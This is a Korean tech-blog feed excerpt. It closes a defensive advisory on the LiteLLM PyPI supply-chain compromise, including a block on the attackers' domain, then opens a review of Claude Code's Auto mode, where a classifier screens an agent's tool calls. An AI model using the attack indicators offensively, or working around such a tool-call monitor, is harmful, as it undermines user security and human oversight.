&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm 미설치, CI/CD에서 Trivy 사용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; color: #ffc107; font-weight: 600;&quot;&gt;주의&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Trivy 사건 별도 대응 필요 (3월 19일~)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm 미설치, Trivy 미사용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; color: #28a745;&quot;&gt;낮음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;간접 의존성 점검, 의존성 고정 습관화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;오늘 / 이번 주 / 운영에 반영할 것&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;pip show litellm&lt;/code&gt; 실행하여 버전 확인&lt;/li&gt;
&lt;li&gt;감염 환경이면 Step 1~4 즉시 수행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;models.litellm.cloud&lt;/code&gt; 도메인 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 주:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 프로젝트의 의존성 lockfile 점검 (requirements.txt, poetry.lock, uv.lock)&lt;/li&gt;
&lt;li&gt;CI/CD에서 사용하는 GitHub Action 태그를 커밋 SHA로 교체&lt;/li&gt;
&lt;li&gt;CI/CD 시크릿의 접근 범위 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영에 반영:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로덕션 환경의 이그레스 트래픽을 화이트리스트 방식으로 제한&lt;/li&gt;
&lt;li&gt;의존성 업데이트 시 자동화된 보안 스캔 적용 (단, 스캔 도구 자체도 검증 필요)&lt;/li&gt;
&lt;li&gt;API 키 집중 관리 도구 사용 시 키 로테이션 주기 단축 및 접근 로그 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bf4eBY/dJMcag51OIi/dUcabeiWVXbiwkEQangQm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bf4eBY/dJMcag51OIi/dUcabeiWVXbiwkEQangQm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bf4eBY/dJMcag51OIi/dUcabeiWVXbiwkEQangQm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbf4eBY%2FdJMcag51OIi%2FdUcabeiWVXbiwkEQangQm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1118&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Endor Labs의 보안 연구자들은 &lt;b&gt;&quot;이 캠페인은 아직 끝나지 않았다&quot;&lt;/b&gt;고 경고했다. TeamPCP는 5개 패키지 생태계에 걸쳐 공격을 확장 중이고, 신뢰 체인을 타고 올라가는 패턴을 반복하고 있다. 다음 타겟이 무엇이 될지 아무도 모른다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바이브 코딩 시대에 &lt;code&gt;pip install&lt;/code&gt; 한 줄은 더 이상 가벼운 행위가 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 10px 0 15px 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Research &amp;mdash; Three's a Crowd: TeamPCP trojanizes LiteLLM (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch &amp;mdash; Supply Chain Attack in litellm 1.82.8 on PyPI (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.endorlabs.com/learn/teampcp-isnt-done-threat-actor-behind-trivy-and-kics-compromises-now-hits-litellms-95-million-monthly-downloads-on-pypi&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Endor Labs &amp;mdash; TeamPCP Isn't Done (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Hacker News &amp;mdash; TeamPCP Backdoors LiteLLM Versions 1.82.7&amp;ndash;1.82.8 (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/popular-litellm-pypi-package-compromised-in-teampcp-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bleeping Computer &amp;mdash; Popular LiteLLM PyPI package compromised (2026-03-24)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.litellm.ai/blog/security-update-march-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM 공식 &amp;mdash; Security Update: Suspected Supply Chain Incident&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Snyk &amp;mdash; How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2026/03/24/detecting-investigating-defending-against-trivy-supply-chain-compromise/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Microsoft Security Blog &amp;mdash; Trivy Supply Chain Compromise 대응 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub &amp;mdash; BerriAI/litellm Issue #24512 (커뮤니티 추적)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24518&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub &amp;mdash; BerriAI/litellm Issue #24518 (공식 대응)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-top: 2px solid #eee; padding-top: 20px; margin-top: 30px; color: #888; font-size: 13px;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/보안</category>
      <category>AI API 보안</category>
      <category>BerriAI</category>
      <category>LiteLLM</category>
      <category>PyPI 악성코드</category>
      <category>Python 패키지 보안</category>
      <category>TeamPCP</category>
      <category>공급망 공격</category>
      <category>소프트웨어 공급망</category>
      <category>쿠버네티스 백도어</category>
      <category>클라우드 인증 정보 탈취</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/563</guid>
      <comments>https://goddaehee.tistory.com/563#entry563comment</comments>
      <pubDate>Thu, 26 Mar 2026 21:56:43 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 신기능 'Auto mode' 리뷰 : 승인 팝업 없이 Claude Code 쓰는 법 (--dangerously-skip-permissions 없이 자동 실행)</title>
      <link>https://goddaehee.tistory.com/562</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code 쓰면서 가장 짜증나는 순간이 있다. &lt;code&gt;ls&lt;/code&gt; 하나에도 &quot;허용하시겠습니까?&quot;, &lt;code&gt;grep&lt;/code&gt; 한 번에도 &quot;허용하시겠습니까?&quot;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;그래서 다들&amp;nbsp;&lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;를 키고 사용하고 있지 않을까? 다만 이 경우엔 마음 한켠에선 claude가 뭘 하든 무조건 통과라 좀 불안하기도 할 것 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 24일, Anthropic이 이 딜레마에 대한 답을 내놨다. &lt;b&gt;Auto mode&lt;/b&gt; &amp;mdash; AI가 각 작업의 안전성을 자체 판단해서, 안전하면 자동 실행하고 위험하면 차단하는 모드이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2522&quot; data-origin-height=&quot;1398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZGdr4/dJMcabp5A0c/ZiZyAsU4fSkJfuMgSTCoMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZGdr4/dJMcabp5A0c/ZiZyAsU4fSkJfuMgSTCoMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZGdr4/dJMcabp5A0c/ZiZyAsU4fSkJfuMgSTCoMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZGdr4%2FdJMcabp5A0c%2FZiZyAsU4fSkJfuMgSTCoMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2522&quot; height=&quot;1398&quot; data-origin-width=&quot;2522&quot; data-origin-height=&quot;1398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic은 2026년 들어 사실상 이틀에 한 번꼴로 새 기능을 발표하고 있는데, Auto mode는 그 흐름 위에 올라탄 기능이다 &amp;mdash; &quot;자율 실행&quot;에 안전장치를 붙이겠다는 시도.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;공식 문서와 블로그를 기반으로 작동 원리, 설정법, 주의사항을 정리해보려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Mode란
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;왜 나왔는가&lt;/li&gt;
&lt;li&gt;한눈에 보기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작동 원리
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;분류기(Classifier)의 판단 흐름&lt;/li&gt;
&lt;li&gt;기본 차단/허용 규칙&lt;/li&gt;
&lt;li&gt;서브에이전트 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;권한 모드 비교
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;6가지 모드 비교표&lt;/li&gt;
&lt;li&gt;vs --dangerously-skip-permissions&lt;/li&gt;
&lt;li&gt;vs Cursor / Codex&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설정 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CLI에서 활성화&lt;/li&gt;
&lt;li&gt;VS Code / Desktop에서 활성화&lt;/li&gt;
&lt;li&gt;관리자 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;비용과 성능 영향&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Code Auto Mode 가이드&lt;/b&gt;&lt;br /&gt;Auto mode는 Claude Code의 새 권한 모드이다. 별도의 분류기 모델이 각 tool call을 사전 평가하여, 안전한 작업은 자동 실행하고 위험한 작업은 차단한다. &lt;br /&gt;2026년 3월 24일 리서치 프리뷰로 출시. Team 플랜에서 사용 가능하며, Enterprise/API는 곧 확대 예정이다. &lt;br /&gt;&lt;b&gt;주의:&lt;/b&gt; 완전한 안전을 보장하지 않는다. 분류기는 확률적 판단이며, 수동 검토를 대체하지 않는다. &lt;br /&gt;(출처: &lt;a href=&quot;https://claude.com/blog/auto-mode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 공식 블로그&lt;/a&gt;, &lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Auto Mode란&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 나왔는가&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/riSI0/dJMcabwRlfX/Joc7LvsejKE18BRaCX2kAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/riSI0/dJMcabwRlfX/Joc7LvsejKE18BRaCX2kAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/riSI0/dJMcabwRlfX/Joc7LvsejKE18BRaCX2kAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FriSI0%2FdJMcabwRlfX%2FJoc7LvsejKE18BRaCX2kAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2046&quot; height=&quot;1120&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 기본 권한은 의도적으로 보수적이다. 파일 수정과 bash 명령어마다 사용자 승인을 요구한다. 안전하지만, 큰 작업을 시작하고 자리를 비울 수 없다. Claude가 중간중간 승인을 기다리니까.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 일부 개발자??? 사실 많은 개발자들이 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;를 쓴다. 모든 권한 체크를 건너뛰는 옵션이다. 편하지만 Anthropic 공식 문서에서도 &lt;b&gt;&quot;격리된 환경 밖에서는 사용하면 안 된다&quot;&lt;/b&gt;고 경고하는 옵션이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgtbHn/dJMcahcMzPa/ilMMMt8VkV3bEil5JHHGlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgtbHn/dJMcahcMzPa/ilMMMt8VkV3bEil5JHHGlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgtbHn/dJMcahcMzPa/ilMMMt8VkV3bEil5JHHGlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgtbHn%2FdJMcahcMzPa%2FilMMMt8VkV3bEil5JHHGlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1102&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode는 이 두 극단 사이의 &lt;b&gt;중간 경로&lt;/b&gt;이다. 별도의 분류기 모델이 각 작업을 사전에 평가하여, 안전하면 자동 실행하고 위험하면 차단한다. 차단되면 Claude는 다른 방법을 찾는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한눈에 보기&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;출시일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;2026년 3월 24일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;상태&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;리서치 프리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용 가능 플랜&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Team (현재), Enterprise/API (곧 확대). &lt;b&gt;Pro/Max/Free는 아직 미제공&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;지원 모델&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude Sonnet 4.6, Opus 4.6만. Haiku, Claude 3, 서드파티(Bedrock/Vertex/Foundry) 미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기 모델&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude Sonnet 4.6 (메인 세션과 별도로 실행)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;활성화&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude --enable-auto-mode&lt;/code&gt; &amp;rarr; Shift+Tab으로 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;공식 문서&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Permission Modes&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Pro/Max 사용자 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode는 현재 &lt;b&gt;Team 플랜 전용&lt;/b&gt;이다. 개인 Pro/Max 구독자는 아직 사용할 수 없다. 한국 Threads 커뮤니티에서도 &quot;아직 개인에게는 안 풀렸나 보군요&quot;라는 반응이 나왔고, Reddit r/ClaudeAI에서도 &quot;Why can't I use this on Pro/Max?&quot;가 반복 질문이다. Enterprise/API는 수일 내 확대 예정이지만, 개인 플랜 확대 일정은 발표되지 않았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 작동 원리&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;분류기(Classifier)의 판단 흐름&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode에는 &lt;b&gt;별도의 분류기 모델&lt;/b&gt;이 붙는다. 메인 세션과 별개로 동작하는 Claude Sonnet 4.6이 각 tool call을 평가한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kM0gs/dJMcaiismF4/p0JVkZtoIycmTgGcY5lvK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kM0gs/dJMcaiismF4/p0JVkZtoIycmTgGcY5lvK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kM0gs/dJMcaiismF4/p0JVkZtoIycmTgGcY5lvK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkM0gs%2FdJMcaiismF4%2Fp0JVkZtoIycmTgGcY5lvK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2046&quot; height=&quot;1120&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;각 tool call에 대해 다음 순서로 판단 (첫 번째 매칭이 최종 결정):

1. 사용자의 allow/deny 규칙에 매칭 &amp;rarr; 즉시 허용 또는 거부
2. 읽기 전용 작업 또는 워킹 디렉토리 내 파일 수정 &amp;rarr; 자동 허용
3. 그 외 모든 작업 &amp;rarr; 분류기에게 전달
4. 분류기가 차단 &amp;rarr; Claude에게 이유 전달, 대안 시도&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;구체적 예시로 보면 명확하다&lt;/b&gt;&lt;br /&gt;
